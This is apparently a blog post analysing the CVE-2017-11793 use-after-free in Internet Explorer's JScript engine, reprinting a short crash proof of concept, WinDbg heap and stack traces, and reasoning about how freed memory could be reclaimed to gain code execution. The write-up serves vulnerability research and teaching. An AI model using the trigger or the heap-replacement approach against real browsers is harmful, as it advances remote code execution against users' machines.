ANALYSIS OF MICROSOFT IE11 SCRIPTING ENGINE MEMORY CORRUPTION VULNERABILITY (CVE-2017-11793) – Part-1

On December 18 2017, Ivan Fratric (@ifsecure) from Google Project Zero disclosed a Use-After-Free (UAF) vulnerability in Microsoft Internet Explorer 11. A proof-of-concept (PoC) exploit can be found here on  Google Project Zero website and also on Exploit-DB. A CVE-2017-11793 was assigned to this vulnerability.

A UAF vulnerability occurs when an object is created, free-ed and then re-used or referenced again.

Though this vulnerability affects IE 11, I could reproduce it on IE 8 on Windows 7 SP1 machine. We will analyse this vulnerability in this blog.

Following is the PoC for this vulnerability:

<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="Jscript.Encode">

var o1 = {toJSON:function(){
  //alert('o1');
// Object is created here return [o2]; }} var o2 = {toJSON:function(){ //alert('o2');
// Object is free-ed here CollectGarbage();

// Free-ed/Vulnerable Object is re-used/referenced here return 'x'; }} JSON.stringify(o1); </script>

Crash Analysis:

When accessed this page with debugger attached, we see following crash:

As we can see, a crash occurred because EIP is pointing to an instruction which is trying to access/dereference an invalid memory which is 0x18 bytes offset from ESI.

As we discussed earlier, a Use After Free vulnerability exists when an object is created, it is then free-ed later on and then the application tries to access that object again after it’s been free-ed.

Let’s analyse all these three steps:

Step 1: Object Creation:

After analysing memory allocations and free’s, I noticed that, the statement return [o2]; causes memory allocation. That is when the object is created. We can confirm that by carefully putting a breakpoint when the object is created and run !heap -p -a eax command:

address 0bcaefc0 found in
_DPH_HEAP_ROOT @ a11000
in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             bc6123c:          bcaefc0               3c -          bcae000             2000
73f48e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77ef0c96 ntdll!RtlDebugAllocateHeap+0x00000030
77eaae1e ntdll!RtlpAllocateHeap+0x000000c4
77e53cce ntdll!RtlAllocateHeap+0x0000023a
76e79d45 msvcrt!malloc+0x0000008d
76e7b0d7 msvcrt!operator new+0x0000001d
6ff4cabf jscript!ArrayObj::Create+0x0000000e  
6ff8e5b3 jscript!CScriptRuntime::Run+0x0000177a
6ff55d7d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
6ff55cdb jscript!ScrFncObj::Call+0x0000008d
6ff55870 jscript!NameTbl::InvokeInternal+0x000002b4
6ff54f84 jscript!VAR::InvokeByDispID+0x0000017f
6ffd2108 jscript!JSONApplyFilters+0x00000137
6ffd1c6e jscript!JSONStringifyObject+0x0000008d
6ffd1a43 jscript!JsJSONStringify+0x000003a2
6ff5599a jscript!NatFncObj::Call+0x00000106
6ff55870 jscript!NameTbl::InvokeInternal+0x000002b4

So, looking at the Call Stack during object creation (UserSize column), it’s clear that 0x3c bytes of memory was allocated at address 0x0x0bcaefc0 by calling jscript!ArrayObj::Create which in turn called msvcrt!malloc. The msvcrt!malloc then called ntdll!RtlAllocateHeap which then called ntdll!RtlpAllocateHeap. Also, it looks like jscript!ArrayObj::Create is the Constructor of this object.

Step 2: Object is free-ed

After monitoring allocations and frees for a while, I noticed that the object in question (0x0bcaefc0) is free-ed when CollectGarbage() is called. This is the same address/User Pointer (0x0x0bcaefc0) which ESI contains at the time of the crash.

We can run !heap -p -a esi command to display the allocation Call Stack for User Pointer (0x0x0bcaefc0):

0:005> !heap -p -a esi
    address 0bcaefc0 found <strong>in</strong>
    _DPH_HEAP_ROOT @ a11000
    <strong>in</strong> free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    bc6123c:          bcae000             2000
    73f490b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77ef1464 ntdll!RtlDebugFreeHeap+0x0000002f
    77eaab3a ntdll!RtlpFreeHeap+0x0000005d
    77e53472 ntdll!RtlFreeHeap+0x00000142
    76e798cd msvcrt!free+0x000000cd
    6ff67977 jscript!NativeErrorProtoObj<16>::`vector deleting destructor'+0x00000019
    6ff66c67 jscript!NameTbl::SetMasterVariant+0x00000054
    6ff671d8 jscript!VAR::Clear+0x0000003f
    6ff66e46 jscript!GcContext::Reclaim+0x000000b6
    6ff643e9 jscript!GcContext::CollectCore+0x00000123
    6ffc83f0 jscript!JsCollectGarbage+0x0000001d
<!-- snip --->


As we can see, the vulnerable object (0x0x0bcaefc0) is not in Busy allocation anymore but in free-ed allocation. A Destructor jscript!NativeErrorProtoObj<16>::`vector deleting destructor was called which in turn called msvcrt!free. The msvcrt!free then called ntdll!RtlFreeHeap which then called ntdll!RtlpFreeHeap and then the object was free-ed.

Step 3: Object is re-used

While continuing monitoring allocations and frees, I noticed that this free-ed/vulnerable object is referenced again right before statement return ‘x’; which triggers a Use-After-Free (UAF) bug leading to a crash:

As we can see, a crash occurred because EIP is pointing to an instruction which is trying to access/dereference an invalid memory which is 0x18 bytes offset from ESI. Following is the stack trace:

0:005> kb
ChildEBP RetAddr  Args to Child              
08b3cbac 6ffd1e46 0ba4ed10 08b3cbd8 00000000 jscript!JSONStringifyArray+0x40e
08b3cc08 6ffd1a43 08b3cc60 0ba4ed10 6ffddb00 jscript!JSONStringifyObject+0x265
08b3ccb4 6ff5599a 0ba4ed10 08b3cd58 08b3ccf8 jscript!JsJSONStringify+0x3a2
08b3cd1c 6ff55870 00000000 00000001 078b4f70 jscript!NatFncObj::Call+0x106
08b3cda0 6ff54f84 0bc9afa0 0ba4ed10 00000001 jscript!NameTbl::InvokeInternal+0x2b4
08b3cdd4 6ff5f2fb 0ba4ed10 00000000 00000001 jscript!VAR::InvokeByDispID+0x17f
08b3ce14 6ff5dcfb 0ba4ed10 08b3ce84 0bc96fc0 jscript!VAR::InvokeJSObj<SYM *>+0xb8
08b3ce50 6ff5d9a8 0ba4ed10 08b3ce84 00000001 jscript!VAR::InvokeByName+0x174

We can see that when method jscript!JsJSONStringify was called, it in turn called another method jscript!JSONStringifyObject which again called another method jscript!JSONStringifyArray. The method jscript!JSONStringifyArray then tried to access value in ESI+0x18 location and crash occurred because that memory location contains invalid data.

Now that we know when a vulnerable object is created, when it’s being free-ed and when it’s being re-used/referenced, we have enough information required to exploit this bug.

Is this bug exploitable?

In order to exploit a Use After Free vulnerability, we need to cause a series of allocations after the vulnerable object is free-ed and right before it’s re-used/referenced by the application. This way we when the application tries to reference that vulnerable object, it will see some valid data there (that we supplied) and the application won’t crash.

This means that we can now control the application flow. We could take advantage of this UAF bug to achieve remote code execution but the problem here is that these JScript allocations (including our vulnerable object) are not part of Default Process Heap. We can confirm that by looking at aforementioned Call Stack.

We can see that the address 0x0x0bcaefc0 is part of Heap Root a11000. Now if we run !heap command, we see following heaps available:

0:005> !heap
Index   Address  Name      Debugging options enabled
  1:   00810000                
  2:   001e0000                
  3:   00cd0000                
  4:   07d10000                
  5:   09590000                
  6:   09da0000                
  7:   0a530000                
  8:   09620000                
  9:   0b2c0000                
 10:   0c480000                
 11:   0c650000                
 12:   0cab0000                
 13:   0b720000  

So, here 00810000 is the Default Process Heap. If we run the !heap -p -all command, we get more information about Heap Root a11000 :

_HEAP @ 1e0000
  No FrontEnd
  _HEAP_SEGMENT @ 1e0000
   CommittedRange @ 1e0588
  * 001e0588 0048 0004  [00]   001e0590    00238 - (busy)
    001e07c8 0103 0048  [00]   001e07d0    00810 - (free)
  * 001e0fe0 0004 0103  [00]   001e0fe8    00018 - (busy)
   VirtualAllocdBlocks @ 1e00a0
_DPH_HEAP_ROOT @ a11000
Freed and decommitted blocks
  DPH_HEAP_BLOCK : VirtAddr VirtSize
    00a14e6c : 078ff000 00002000
    00a14c30 : 07915000 00002000
    00a14bfc : 07917000 00002000
    00a14b94 : 0791b000 00002000
    00a149f4 : 0792b000 00002000
    00a149c0 : 0792d000 00002000
    00a14958 : 07931000 00002000
    00a147ec : 0793f000 00002000
    00a14820 : 0793d000 00002000
    00a14854 : 0793b000 00002000
    00a146b4 : 0794b000 00002000
    00a146e8 : 07949000 00002000
<!-- snip -->

As we can see, the HEAP ROOT a11000 doesn’t belong to Default Process Heap but a different heap, 001e0000. So, if we have to replace the free-ed object (at 0x0x0bcaefc0) with the object of our choice to gain code execution, our memory allocations should be from 001e0000 and not from Default Process Heap.

If you’re interested in knowing more about causing JScript allocations, you can review this exploit from Google Project Zero: https://www.exploit-db.com/exploits/45279

If time permits, I will try to understand allocations mentioned in the aforementioned exploit and do some research about JScript allocations and see how to cause allocations from the same Heap as vulnerable object. I will post part-2 of this blog post then.

Special thanks to Peter Van Eeckhoutte (@corelanc0d3r) for amazing Advanced Windows Exploitation training & constant support.

Leave a comment